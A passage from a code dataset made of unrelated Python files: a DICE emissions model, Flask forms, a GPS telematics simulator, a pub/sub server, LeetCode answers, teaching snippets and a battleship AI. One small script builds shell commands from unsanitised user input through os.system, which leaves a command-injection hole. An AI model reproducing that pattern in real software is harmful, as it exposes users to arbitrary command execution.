for model variables.\n\n Args:\n :param i: current time step\n :type i: int\n :param df: Matrix of variables\n :type df: DiceDataMatrix\n\n Kwargs:\n :param deriv: Calculating derivative or not\n :type deriv: bool\n :param opt: Running optimized loop or not\n :type opt: bool\n :param miu: Emissions control array\n :type miu: np.ndarray\n :param emissions_shock: Amount to increase emissions for SCC\n :type emissions_shock: float\n\n Returns:\n :return: Model variables: μ, E_ind, E, CCum, τ\n :rtype: tuple\n \"\"\"\n miu = self.get_miu(i, df, deriv=deriv, opt=opt, miu=miu)\n emissions_ind = self.emissions_ind(\n df.carbon_intensity[i], miu, df.gross_output[i]\n )\n emissions_total = self.emissions_total(\n emissions_ind, self.emissions_deforest[i]\n ) + emissions_shock\n carbon_emitted = emissions_total * 10 \\\n if i == 0 \\\n else self.carbon_emitted(emissions_total, df.carbon_emitted[i - 1])\n if np.max(carbon_emitted) > self.params.fosslim:\n emissions_total = 0.0\n carbon_emitted = self.params.fosslim\n tax_rate = self.tax_rate(miu, df.backstop[i])\n return (\n miu,\n emissions_ind,\n emissions_total,\n carbon_emitted,\n tax_rate,\n )\n\n def emissions_ind(self, intensity, miu, gross_output):\n \"\"\"E_ind, Industrial emissions, GtC\n\n Args:\n :param intensity:\n :type intensity: float\n :param miu:\n :type intensity: float\n :param gross_output:\n :type intensity: float\n\n Returns:\n :return: σ(t) * (1 - μ) * Q\n :rtype: float\n \"\"\"\n\n return intensity * (1 - miu) * gross_output\n\n def emissions_total(self, emissions_ind, etree):\n \"\"\"E, Total emissions, GtC\n\n Args:\n :param emissions_ind: Industrial emissions\n :type emissions_ind: float\n :param etree: Emissions from deforestation\n :type etree: float\n\n Returns:\n :return: E_ind + E_tree\n :rtype: float\n \"\"\"\n return emissions_ind + etree\n\n def carbon_emitted(self, emissions_total, carbon_emitted):\n \"\"\"CCum, Total carbon emitted, GtC\n\n Args:\n :param emissions_total: E(t)\n :type emissions_total: float\n :param carbon_emitted: CCum(t-1)\n :type carbon_emitted: float\n\n Returns:\n :return: CCum + E(t)\n :rtype: float\n \"\"\"\n return carbon_emitted + emissions_total * 10\n\n def get_miu(self, i, df, deriv=False, opt=False, miu=None):\n \"\"\"μ, get miu for optimized, treaty, tax scenarios\n\n Args:\n :param i:\n :param df:\n :param deriv:\n :param opt:\n :param miu:\n\n Returns:\n :return:\n \"\"\"\n if opt:\n if miu is not None:\n if deriv:\n return miu\n return miu[i]\n elif miu is None:\n if i > 0:\n if df.carbon_emitted[i - 1] > self.params.fosslim:\n return 1.0\n if self.params.treaty:\n return min(self.miu(\n df.emissions_ind[i - 1],\n self.emissions_cap[i - 1],\n df.emissions_ind[0],\n df.carbon_intensity[i], df.gross_output[i]\n ), 1.0)\n elif self.params.carbon_tax:\n return min(\n (self.user_tax_rate[i] / (\n df.backstop[i] * 1000)) ** (\n 1 / (self.params.abatement_exponent - 1)),\n 1.0\n )\n else:\n return 0\n else:\n return self.params.miu_2005\n else:\n return min(miu[i], 1.0)\n return min(df.miu[i], 1.0)\n\n def miu(self, emissions_ind, emissions_cap, _e2005, intensity,\n gross_output):\n \"\"\"\n mu, Emissions reduction rate\n ...\n Returns\n -------\n float\n \"\"\"\n if emissions_cap == 0:\n return 1\n # elif round(emissions_ind, 2) < round((_e2005 * emissions_cap), 2):\n # return 0\n return 1 - ((_e2005 * emissions_cap) / (intensity * gross_output))\n\n def tax_rate(self, miu, backstop):\n \"\"\"\n Implied tax rate, thousands $USD per ton CO_2\n ...\n Returns\n -------\n float\n \"\"\"\n return (\n backstop * miu ** (self.params.abatement_exponent - 1) * 1000\n ) * (12 / 44)\n\n\nclass Dice2007(EmissionsModel):\n pass\n\n\nclass Dice2010(EmissionsModel):\n @property\n def emissions_deforest(self):\n \"\"\"\n E_land, Emissions from deforestation\n ...\n Returns\n -------\n array\n \"\"\"\n return (\n self.params.emissions_deforest_2005 *\n .8 ** self.params.t0\n )","sub_path":"webdice/dice/equations/emissions.py","file_name":"emissions.py","file_ext":"py","file_size_in_byte":7323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"108921791","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, IntegerField, FormField, BooleanField, TextAreaField, RadioField, SelectField, FieldList\nfrom wtforms.validators import DataRequired\nfrom app.crm.models import InvestmentCriteria, LocationCriteria\nfrom app.fieldtypes import StateSelectField\nfrom app import constants as CONSTANTS\n\nclass SearchForm(FlaskForm):\n first_name = StringField('First Name', validators=[])\n last_name = StringField('Last Name', validators=[])\n #contact_type = RadioField('Type', choices=[\n # ('investor', 'Investor'),\n # ('builder', 'Builder'),\n # ('wholesaler', 'Wholesaler'),\n # ('realtor', 'Realtor'),\n # ('property_manager', 'Property Manager'),\n # ('lender', 'Lender'),\n # ('contact', 'Other Professional')],\n # validators=[])\n phone = StringField('Phone', validators=[])\n email = StringField('Email', validators=[])\n\nclass InvestmentLocationForm(FlaskForm):\n location_type = SelectField('Location Type', choices=[\n ('1', 'Zip Code')],\n validators=[DataRequired()])\n location_code = StringField('Location Code', validators=[DataRequired()])\n\n def __init__(self, csrf_enabled=False, *args, **kwargs):\n super(InvestmentLocationForm, self).__init__(csrf_enabled=csrf_enabled, *args, **kwargs)\n\nclass InvestmentCriteriaForm(FlaskForm):\n property_type = SelectField('Property Type', choices=[\n ('', ''),\n (str(CONSTANTS.SFR), 'Single Family'),\n (str(CONSTANTS.RESIDENTIAL_MULTI_FAMILY), 'Residential Multi Family'),\n (str(CONSTANTS.COMMERCIAL_MULTI_FAMILY), 'Commercial Multi Fmaily'),\n (str(CONSTANTS.SELF_STORAGE), 'Self Storage'),\n (str(CONSTANTS.RETAIL), 'Retail')],\n validators=[DataRequired()])\n flip = RadioField(\"Do you flip this properties?\", choices=[('0','No'),('1','Yes')], validators=[DataRequired()])\n rental = RadioField(\"Do you buy & hold this properties?\", choices=[('0','No'),('1','Yes')], validators=[DataRequired()])\n locations = FieldList(FormField(InvestmentLocationForm, default=lambda: LocationCriteria()))\n minimum_units = IntegerField()\n maximum_units = IntegerField()\n\n\n\nclass ContactForm(FlaskForm):\n first_name = StringField('First Name', validators=[])\n last_name = StringField('Last Name', validators=[])\n contact_type = RadioField('Type', choices=[\n ('investor', 'Investor'),\n ('builder', 'Builder'),\n ('wholesaler', 'Wholesaler'),\n ('realtor', 'Realtor'),\n ('property_manager', 'Property Manager'),\n ('lender', 'Lender'),\n ('contact', 'Other Professional')],\n validators=[DataRequired()])\n phone = StringField('Phone', validators=[])\n email = StringField('Email', validators=[])\n investment_criteria = FieldList(FormField(InvestmentCriteriaForm, default=lambda: InvestmentCriteria()))\n","sub_path":"app/crm/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"394019358","text":"# -*- coding: utf-8 -*-\n\nfrom application import db\nfrom application.components.Helpers import Model\n\nclass RoleModel(Model):\n def __init__(self):\n super().__init__()\n self.title = \"\"\n self.actions = \"\"\n\n def save(self):\n data = (self.title, \",\".join(str(action) for action in self.actions), self.uid)\n query = \"sys_save_user_role ?, ?, ?\"\n db.execute(query, data)\n \n def delete(self):\n data = (self.uid,)\n query = \"sys_delete_user_role ?\"\n db.execute(query, data, self.errors)\n \n @classmethod\n def load(cls, uid):\n role = cls()\n query = \"sys_get_user_role ?\"\n data = (uid,)\n (row,) = db.execute(query, data)\n if row:\n query = \"sys_get_user_role_actions ?\"\n role.title = row.title\n role.uid = row.uid\n role.actions = db.execute(query, data)\n return role\n","sub_path":"application/components/Admin/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"648018789","text":"import os, time \nfrom os import system\nfrom time import sleep \nfrom colorama import Fore\n\nsystem('cls')\n\nsleep(2)\nprint('Good bye!')\n\nfileName = input('What do you want to name your file? >> ')\nextension = input('What extension do you want to use? (e.g., pdf, txt, py, ds, js, ...) >> ')\ncontent = input('What content do you want to add to the file? >> ')\nfile = fileName + '.' + extension\npath = f'./Modules-and-Libraries/{file}'\n\nsystem(f'touch {path}')\nsystem(f\"echo '{content}' > {path}\")\n\n\n# this will read the content of the new file\nf = open(path, 'r')\nfileContent = f.read()\nsystem('clear')\nprint(f'We are printing the content of {file}....')\nsleep(3)\nprint()\nprint(Fore.RED, fileContent)\nf.close()","sub_path":"Modules and Libraries/files2.py","file_name":"files2.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"444356814","text":"import math\n\n#def power(x):\n# return x*x\n\n#print(power(2))\n\ndef power(x, n = 2):\n s = 1\n while n > 0:\n s = s * x\n n = n-1\n return s\n\np = power(3, 4)\np2 = power(2)\nprint(p)\nprint(p2)\n","sub_path":"python/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"21688688","text":"import time\nimport os\nimport sys\nfrom socket import *\nfrom src import send, send_attach_logic\nfrom jt808.tools import data_config\nfrom src.excel_data import ExcelData\nfrom src.recv import Recv\n\n\n# PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n# sys.path.append(PATH)\n\n\nclass MainLogic:\n\n def __init__(self, ip, port):\n self.ed = ExcelData()\n self.ip = ip\n self.port = port\n self.path_gps = data_config.PATH_GPS\n self.socketInit()\n\n def socketInit(self):\n try:\n self.tcp = socket(AF_INET, SOCK_STREAM)\n self.tcp.connect_ex((self.ip, self.port))\n self.recv = Recv(self.tcp)\n print('{}连接成功...'.format(self.tcp.getsockname()))\n except BaseException:\n print('无法连接!!!')\n return -1\n\n self.GPSList = self.ed.getGPSList(self.path_gps)\n self.regList = []\n\n # 注册逻辑\n def reg_logic(self, each_car):\n self.vehicleList = each_car\n try:\n self.sends = send.Send(self.vehicleList[0],\n self.vehicleList[1],\n self.vehicleList[2],\n self.tcp)\n self.regList.append(self.sends)\n self.sends.sendReg()\n data_config.ONLINE += 1\n result = self.recv.registerMsg() # 接收消息\n if result[0] == 0:\n print('# ----------- 注册成功 ----------- #')\n aut_code = result[1] # 返回鉴权码\n data_config.AUT = aut_code\n print('返回鉴权码: ', aut_code)\n\n # 注册完成后要发送一次鉴权\n print('# ----------- 发送鉴权 ----------- #')\n self.sends.sendAut()\n\n else:\n print('# ----------- 注册失败 ----------- #')\n print('失败原因: ', result[1])\n self.tcp.close()\n\n except BaseException:\n print('# ----------- 连接失败 ----------- #')\n\n # 心跳逻辑\n # 判断心跳应答结果,如果失败则发送鉴权\n def heart_logic(self):\n try:\n self.sends.sendHeart()\n result = self.recv.commonMsg() # 接收消息\n if result == 0:\n print('# ----------- keep heart ----------- #')\n except BaseException as e:\n print(e)\n print('# ----------- 发送鉴权 ----------- #')\n self.sends.sendAut()\n\n # GPS逻辑\n def GPS_logic(self):\n self.gpsIndex = 0\n while self.gpsIndex < len(self.GPSList):\n try:\n print('# ----------- 发送GPS ----------- #')\n print(self.GPSList[self.gpsIndex])\n self.sends.sendGPS(self.GPSList[self.gpsIndex])\n result = self.recv.commonMsg() # 接收消息\n time.sleep(1)\n if result == 0:\n if data_config.IS_ATTACH == 1:\n upload_ip, upload_port = self.recv.uploadMsg() # 接收消息\n print('# ----------- 发送附加信息 ----------- #')\n sa = send_attach_logic.AttachLogic(\n upload_ip, upload_port, self.vehicleList)\n sa.run()\n data_config.GPS += 1\n self.heart_logic()\n data_config.HEART += 1\n self.gpsIndex += 1\n time.sleep(1)\n except ConnectionAbortedError as e:\n print(e)\n print('正在尝试重新连接...')\n self.socketInit()\n self.heart_logic()\n data_config.HEART += 1\n # 发送行程截止GPS,再次发送最后一个GPS定位,ACC关闭\n data_config.STATE = '00000000000000100000100000000010' # ACC关闭\n self.sends.sendGPS(self.GPSList[-1])\n print('# ----------- ACC关闭 ----------- #')\n\n # self.sends.sendLogout() # 注销逻辑无用\n\n # 断开连接\n def stop(self):\n # 发送行程截止GPS,再次发送最后一个GPS定位,ACC关闭\n data_config.STATE = '00000000000000100000100000000010' # ACC关闭\n self.sends.sendGPS(self.GPSList[-1])\n print('# ----------- ACC关闭 ----------- #')\n self.tcp.close()\n print('# ----------- 停止程序 ----------- #')\n\n\n\nif __name__ == '__main__':\n path_car = data_config.PATH_CAR\n path_gps = data_config.PATH_GPS\n t = MainLogic('192.168.1.192', 1077)\n # t = MainLogic('sentryward.wxb.com.cn', 1077) # 正式\n print(t.GPSList)\n ed = ExcelData()\n carList = ed.getCarList(path_car)\n print(carList)\n each_car = carList[0]\n print(len(t.GPSList))\n # print(t.GPSList[-1])\n t.reg_logic(each_car)\n t.heart_logic()\n t.GPS_logic()\n t.tcp.close()\n # ed = ExcelData()\n # GPSList = ed.getGPSList(path_gps)\n # print(GPSList)\n","sub_path":"src/send_logic.py","file_name":"send_logic.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"447499870","text":"#\n# @lc app=leetcode id=406 lang=python3\n#\n# [406] Queue Reconstruction by Height\n#\n# https://leetcode.com/problems/queue-reconstruction-by-height/description/\n#\n# algorithms\n# Medium (66.72%)\n# Likes: 3241\n# Dislikes: 368\n# Total Accepted: 164.6K\n# Total Submissions: 246.1K\n# Testcase Example: '[[7,0],[4,4],[7,1],[5,0],[6,1],[5,2]]'\n#\n# Suppose you have a random list of people standing in a queue. Each person is\n# described by a pair of integers (h, k), where h is the height of the person\n# and k is the number of people in front of this person who have a height\n# greater than or equal to h. Write an algorithm to reconstruct the queue.\n# \n# Note:\n# The number of people is less than 1,100.\n# \n# \n# Example\n# \n# \n# Input:\n# [[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]]\n# \n# Output:\n# [[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]]\n# \n# \n# \n# \n#\n\n# @lc code=start\nclass Solution:\n def reconstructQueue(self, people: List[List[int]]) -> List[List[int]]:\n # Greedy\n # Time complexity: O(N^2)\n # Space complexity: O(N)\n people.sort(key=lambda x: (-x[0], x[1]))\n output = []\n for p in people:\n output.insert(p[1], p)\n return output\n \n# @lc code=end\n\n","sub_path":"406.queue-reconstruction-by-height.py","file_name":"406.queue-reconstruction-by-height.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"220177532","text":"import threading\n\nimport time\n\nfrom PubSub import *\nfrom UDPPacket import *\n\n\nclass Topic:\n def __init__(self, addr, topic):\n self.topic = topic\n self.addr = addr\n self.lastUpdate = time.time() # in seconds\n\n\nclass PubSubServer:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n topics = []\n\n def __init__(self, port=33000):\n self.port = port\n self.s.bind(('', port))\n\n def handle(self, addr: Tuple[str, int], data: bytes):\n print('Handling client', addr)\n length = len(data)\n type = ps.Type(data[0])\n print('Type:', type)\n\n if type != Type.REPLY:\n UDPPacket(ps.Type.REPLY, addr).send(self.s)\n\n if type == Type.KEEP_ALIVE:\n for t in self.topics:\n if t.addr == addr:\n t.lastUpdate = time.time()\n elif type == Type.CONNECT:\n self.topics = [t for t in self.topics if t.addr[0] == addr[0]]\n elif type == Type.DISCONNECT:\n self.topics = [t for t in self.topics if t.addr[0] == addr[0]]\n elif type == Type.SUBSCRIBE:\n topicLength = data[1]\n topic = str(data[2:2+topicLength])\n print('Topic:', topic)\n self.topics.append(Topic(addr, topic))\n elif type == Type.UNSUBSCRIBE:\n topicLength = data[1]\n topic = str(data[2: 2 + topicLength])\n self.topics = [t for t in self.topics if t.addr[0] == addr[0] and t.topic == topic]\n elif type == Type.PUBLISH:\n topicLength = data[1]\n topic = str(data[2:2+topicLength])\n messageLength = data[2+topicLength]\n message = data[3+topicLength:3+topicLength+messageLength]\n print('Topic:', topic)\n print('Message:', message)\n for t in self.topics:\n if t.topic == topic:\n UDPPacket(Type.PUBLISH, addr).add(data[1:length]).send(self.s)\n\n def run(self):\n print('Server started at port', self.port)\n while True:\n data, addr = self.s.recvfrom(1024)\n self.handle(addr, data)\n self.s.close()\n\n def start(self):\n threading.Thread(target=self.run).start()\n","sub_path":"PubSubServer.py","file_name":"PubSubServer.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"560951055","text":"#this program demonstrate the usage of dictionary\r\n\r\n#storing the data in two lists is inconvenient. take \r\n#the case of students and their grades\r\n\r\nstudents = [\"anna\", \"bob\", \"kyle\"]\r\ngrades = [\"A\", \"B\", \"C\", \"D\"]\r\n\r\n#replace with a disctionary that uses key-value pairs\r\n#lists are a subset of dictionary that uses integers as the key\r\n\r\nmy_dict = {}\r\n\r\nmy_dict[\"bob\"] = \"A\"\r\nmy_dict[\"anna\"] = \"B\"\r\nmy_dict[\"kyle\"] = \"D\"\r\n\r\nprint(my_dict[\"bob\"])\r\nprint(my_dict[\"kyle\"])\r\n\r\n#we can test if a value is in a dictionary\r\nprint(\"kyle\" in my_dict)\r\n\r\n#can remove an entry\r\ndel(my_dict[\"kyle\"])\r\n\r\n#make a new dictionary and fill it in one line\r\ncars = {\"Bill\":\"Audi\", \"Nancy\":\"BMW\", \"Chris\":\"VW\"}\r\n\r\n#we can get all the keys/value from the dictionary \r\n#this is no quranteed to be ordered!\r\nprint(cars.keys())\r\nprint(cars.values())","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"306781134","text":"# Tuples : looping\n\nnames = (\"Nemo\", \"Julian\", \"Greg\", \"Nemo\")\n\n# Can use for loop to iterate over a tuple\n#\nfor name in names:\n print(name)\n\n\n# Can use While loop to iterate over tuples too!\n\n# Len returns the number of items in the list so 3!\n# but remember the tuple starts from the index 0 and ends in 2 so we subtract 1 to len\n\ni = len(names) - 1\n\nwhile i >= 0:\n print(names[i])\n i -= 1\n","sub_path":"cs_python_lec/data_structures/tuples/tup_02.py","file_name":"tup_02.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"260388140","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n##############################################################################\n# File: demo_db_connect.py\n# Created: 2017-01-05\n# Last modification: 2017-01-16\n# Author: Michael Hufschmidt \n# \n# Copyright: (C) Michael Hufschmidt 2016\n# License (CC BY 4.0): https://creativecommons.org/licenses/by/4.0/deed.de\n###############################################################################\n\n\"\"\"\nThis program tests the database connection with cold_chuck_tools\n\n\"\"\"\nfrom cold_chuck_tools import *\nimport mysql.connector as mariadb\nimport time\n\n### Constants ####\nid_min = 1\nlimit = 0\nlimit = 1000\nquery = \"SELECT id, DateTime, Comment, File FROM Measurement \"\nquery += \"WHERE length(File)>1 AND id >= {} \".format(id_min)\nquery += \"ORDER BY id \"\nif (limit > 0):\n query += \" LIMIT {}\".format(limit)\n\n### Functions ####\ndef report(file_name, query, file_lines):\n good_bad = file_name[str.rindex(file_name, '_') + 1:]\n title = \"{} {} files\".format(len(file_lines), good_bad)\n print(title)\n fo = open(file_name, 'w')\n fo.write(query + '\\r\\n')\n fo.write(title + ':\\r\\n')\n for line in file_lines:\n fo.write(line + \"\\r\\n\")\n if (good_bad == 'bad'):\n# print(line)\n pass\n fo.close()\n return\n\n### Start program ###\nmount_gvfs() # make sure to have shares on uh2usnmserver\nstart = time.time()\n\ncnx = mariadb.connect(**db_config)\ncur = cnx.cursor()\ntry:\n cur.execute(query)\nexcept mariadb.Error as error:\n print('Database-Error: {}'.format(error))\nnames_good = 0\nnames_bad = 0\nccd_good = 0\ncomment_diff = 0\ncount = 0\nfiles_bad = []\nfiles_good = []\nfor (id, date_time, comment, file) in cur:\n count += 1\n linuxpath = winpath_to_linux(file)\n# print (\"File = \", file)\n# print (\"Linuxpath = \", linuxpath)\n if (linuxpath == None):\n names_bad += 1\n line = str(id) + '\\t' + file\n files_bad.append(line)\n else:\n names_good += 1\n line = str(id) + '\\t' + file\n files_good.append(line)\n try:\n ccd = ColdChuckData(fullpath=linuxpath)\n if (ccd):\n ccd_good += 1\n meta_comment = ''.join(ccd.get_meta_data()['Comment'])\n if (comment != meta_comment):\n comment_diff += 1\n else:\n pass\n except:\n pass\ncur.close()\ncnx.close()\nstop = time.time()\nprint(query)\nprint('Files processed = {}, found = {}, not found = {}, '\n ' ColdChuckData instances = {}, differenct comment = {}'\\\n .format(count, names_good, names_bad, ccd_good, comment_diff))\nprint(\"Runtime = {0:.3f} seconds\".format(stop - start))\nreport('files_good', query, files_good)\nreport('files_bad', query, files_bad)\n","sub_path":"demo_db_connect.py","file_name":"demo_db_connect.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"244136092","text":"from battlePy.player import Player\n\n# orientations\nfrom battlePy.ship import UP, DOWN, LEFT, RIGHT, VECTOR_DICT\nfrom battlePy.default_config import DEFAULT_SHIPS\n\nimport random\n\nDEFAULT_VALUE = 50\n\nNOT_SHOT, HIT, MISS = 0, 1, 2\nall_vectors = UP, DOWN, LEFT, RIGHT\ncorners = [\n ((0,0), (UP, RIGHT)),\n ((0,9), (DOWN, RIGHT)),\n ((9,0), (UP, LEFT)),\n ((9,9), (DOWN, LEFT))\n ]\n\n\ndef logit(msg):\n return\n with open(\"log.log\", \"a\") as f:\n f.write(str(msg) + \"\\n\")\n\n\ndef fromTo(point, vector, dist=1):\n x, y = point\n vx, vy = vector\n return x+(vx*dist), y+(vy*dist)\n\n\nclass GridNode(object):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.shotResult = NOT_SHOT\n self.value = DEFAULT_VALUE\n self.xRun = None\n self.yRun = None\n\n def __str__(self):\n return \"\" % (self.x, self.y)\n\n def __repr__(self):\n return str(self)\n\n def markShot(self, result):\n self.shotResult = result\n\nclass Board(object):\n def __init__(self):\n self.size = 10, 10\n self.nodes = {}\n self.nodesList = [] # flat\n\n for x in range(10):\n self.nodes.setdefault(x, {})\n for y in range(10):\n gn = GridNode(x,y)\n self.nodes[x][y] = gn \n self.nodesList.append(gn)\n\n for node in self.nodesList:\n for vector in all_vectors:\n venum = vector\n vector = VECTOR_DICT[vector]\n xp, yp = fromTo((x,y), vector)\n\n def isValidSpace(self, x, y):\n if x >= 0 and x < 10:\n if y >= 0 and y < 10:\n return True\n return False\n\n def nodeAt(self, x, y):\n if self.isValidSpace(x,y):\n return self.nodes[x][y]\n return None\n\n\n\nclass GameTracker(object):\n def __init__(self):\n self.gamesTracked = 0\n self.gamesWon = 0\n self.gamesLost = 0\n self.speeds = []\n \n\n def logStatistics(self):\n try:\n ratio = self.gamesWon/float(self.gamesLost)\n except:\n ratio = 1.0\n speed = 0\n if self.speeds:\n speed = sum(self.speeds) / float(len(self.speeds))\n\n logit(\"W/L ratio: %s/%s = %.2f\" % (self.gamesWon, self.gamesLost, ratio))\n logit(\"avg win speed: %.2f\" % speed) \n\n\nclass ShipTracker(object):\n def __init__(self, name, size):\n self.name = name\n self.size = size\n self.seen = False\n self.dead = False\n self.possible_vectors = [UP, DOWN, LEFT, RIGHT]\n self.known_positions = []\n self.likely_positions = []\n\nclass GameState(object):\n def __init__(self):\n self.shot_cells = []\n self.board = Board()\n\n self.ships = {}\n for name, size in DEFAULT_SHIPS:\n self.ships[name] = ShipTracker(name, size) \n\nclass Run(object):\n def __init__(self):\n self.nodes = []\n self.values = []\n self.baseValue = 10\n self.maxValue = 20\n\n def insert(self, value):\n self.nodes.append(value)\n\n def revalue(self, strategy = \"ramp\"):\n self.values = [self.baseValue for n in self.nodes]\n\n if strategy == \"spliteven\":\n if len(self.values) > 2:\n midpoint = len(self.values) / 2\n self.values[midpoint] = self.maxValue\n if len(self.values) % 2 == 0:\n self.values[midpoint + 1] = self.maxValue\n\n if strategy == \"ramp\":\n if len(self.values) > 1:\n size = len(self.values)\n odd = size % 2 != 0\n intby2 = size/2\n if odd: \n midpoints = intby2, intby2 \n else:\n midpoints = intby2, intby2 - 1 \n self.values[midpoints[0]] = self.maxValue\n self.values[midpoints[1]] = self.maxValue\n firstOthers = range(1, midpoints[0])\n lastOthers = range(midpoints[1]+1, size-1)\n lastOthers.reverse()\n for inbetweens in firstOthers, lastOthers:\n if not inbetweens:\n continue\n ibsize = len(inbetweens)\n increment = (self.maxValue - self.baseValue) / ibsize\n scale = 0\n for x in inbetweens:\n scale += 1\n self.values[x] += increment * scale \n\n def valueFor(self, node):\n return self.values[self.nodes.index(node)]\n\n\nclass DownInFlames(Player):\n\n def initPlayer(self, *args, **kwargs):\n \"\"\"Called once per match, not each game.\"\"\"\n self.name = 'Down In Flames'\n self.tracker = GameTracker()\n self.state = None\n\n\n def revalueBoard(self):\n\n for x in range(10):\n for y in range(10):\n node = self.state.board.nodeAt(x,y)\n node.value = DEFAULT_VALUE\n\n # do other stuff\n if node.shotResult != NOT_SHOT:\n node.value = 0\n node.xRun = None\n node.yRun = None\n else:\n # fill in run data as we visit each one\n down = self.state.board.nodeAt(*fromTo((x,y), VECTOR_DICT[DOWN])) \n left = self.state.board.nodeAt(*fromTo((x,y), VECTOR_DICT[LEFT])) \n if down and down.yRun:\n node.yRun = down.yRun\n node.yRun.insert(node)\n else:\n node.yRun = Run()\n node.yRun.insert(node)\n if left and left.xRun:\n node.xRun = left.xRun\n node.xRun.insert(node)\n else:\n node.xRun = Run()\n node.xRun.insert(node)\n\n for x in range(10):\n for y in range(10):\n node = self.state.board.nodeAt(x,y)\n if node.xRun and node.yRun:\n anyFit = False\n for run in node.xRun, node.yRun:\n size = len(run.nodes)\n shipsThatFit = 0\n for ship in self.state.ships.values():\n if not ship.seen:\n if ship.size <= size:\n shipsThatFit += 1\n run.revalue()\n node.value += run.valueFor(node) * shipsThatFit\n if shipsThatFit > 0:\n anyFit = True\n\n if not anyFit: \n node.value = -1\n\n # evaluate known ship data, LAST\n for ship in self.state.ships.values():\n if ship.seen and not ship.dead:\n for node in ship.likely_positions:\n if node.shotResult == NOT_SHOT:\n node.value = 50000\n\n self.logBoard()\n\n def logBoard(self):\n return\n logit(\"-------------------------\")\n for y in range(9,-1,-1):\n ls = \"\"\n for x in range(0,10,1):\n value = self.state.board.nodeAt(x,y).value\n ls += \"%6d \" % value\n logit(ls) \n\n def chooseShot(self):\n self.state.board.nodesList.sort(key=lambda x: x.value)\n highscore = self.state.board.nodesList[-1].value \n choices = []\n idx = -1\n while self.state.board.nodesList[idx].value == highscore:\n choices.append(self.state.board.nodesList[idx])\n idx -= 1\n try:\n self.state.board.nodesList[idx]\n except:\n break\n \n random.shuffle(choices)\n choice = choices[0]\n self.state.shot_cells.append(choice)\n return (choice.x, choice.y)\n\n def newGame(self):\n \"called once per game\"\n logit(\"GAME START\")\n self.state = GameState()\n self.tracker.gamesTracked += 1\n\n def placeShips(self):\n badnodes = []\n shipNodes = []\n\n for ship in sorted(self.ships, key=lambda x: x.size): # self.ships is created by the game engine\n shipNodes = []\n valid = False\n while not valid:\n valid = True\n if ship.size == 2:\n pos, vectors = random.choice(corners)\n pos = list(pos)\n # jitter it\n if pos[0] == 0:\n pos[0] += random.randint(0,1)\n if pos[1] == 0:\n pos[1] += random.randint(0,1)\n if pos[0] == 9:\n pos[0] -= random.randint(0,1)\n if pos[1] == 9:\n pos[1] -= random.randint(0,1)\n pos = tuple(pos)\n vector = random.choice(vectors)\n else:\n randnode = random.choice([n for n in self.state.board.nodesList if n not in badnodes])\n pos = randnode.x, randnode.y\n vector = random.choice(all_vectors)\n px,py = pos\n shipNodes = [self.state.board.nodeAt(px, py)]\n for x in range(ship.size-1):\n spotx, spoty = fromTo((shipNodes[-1].x, shipNodes[-1].y), VECTOR_DICT[vector])\n if not self.state.board.isValidSpace(spotx, spoty):\n valid = False\n continue\n shipNodes.append(self.state.board.nodeAt(spotx, spoty))\n for node in shipNodes:\n if node in badnodes:\n valid = False\n badnodes.extend(shipNodes) \n for shipNode in shipNodes:\n for v in all_vectors:\n nx, ny = fromTo((shipNode.x, shipNode.y), VECTOR_DICT[v])\n if self.state.board.isValidSpace(nx, ny):\n badnodes.append(self.state.board.nodeAt(nx, ny))\n ship.placeShip(pos, vector)\n \n\n def fireShot(self):\n \"\"\"Called once per turn, you must fire\"\"\"\n self.revalueBoard()\n return self.chooseShot()\n\n def shotHit(self, shot, shipName):\n \"\"\"Called when your shot has hit\"\"\"\n x,y = shot\n self.state.board.nodeAt(x, y).markShot(HIT)\n ship = self.state.ships[shipName]\n ship.known_positions.append(self.state.board.nodeAt(x,y))\n if len(ship.known_positions) == 1:\n # eliminate impossible vectors right away, if we can\n # leftright\n RLFree = 0\n nextR = x + 1\n nextL = x - 1\n while nextR < 10 and self.state.board.nodeAt(nextR, y).shotResult == NOT_SHOT:\n nextR += 1\n RLFree += 1\n while nextL >=0 and self.state.board.nodeAt(nextL, y).shotResult == NOT_SHOT:\n nextL -= 1\n RLFree += 1\n if RLFree < ship.size - 1:\n ship.possible_vectors.remove(LEFT)\n ship.possible_vectors.remove(RIGHT)\n #updown\n UDFree = 0\n nextU = y + 1\n nextD = y - 1\n while nextU < 10 and self.state.board.nodeAt(x,nextU).shotResult == NOT_SHOT:\n nextU += 1\n UDFree += 1\n while nextD >=0 and self.state.board.nodeAt(x, nextD).shotResult == NOT_SHOT:\n nextD -= 1\n UDFree += 1\n if UDFree < ship.size - 1:\n ship.possible_vectors.remove(UP)\n 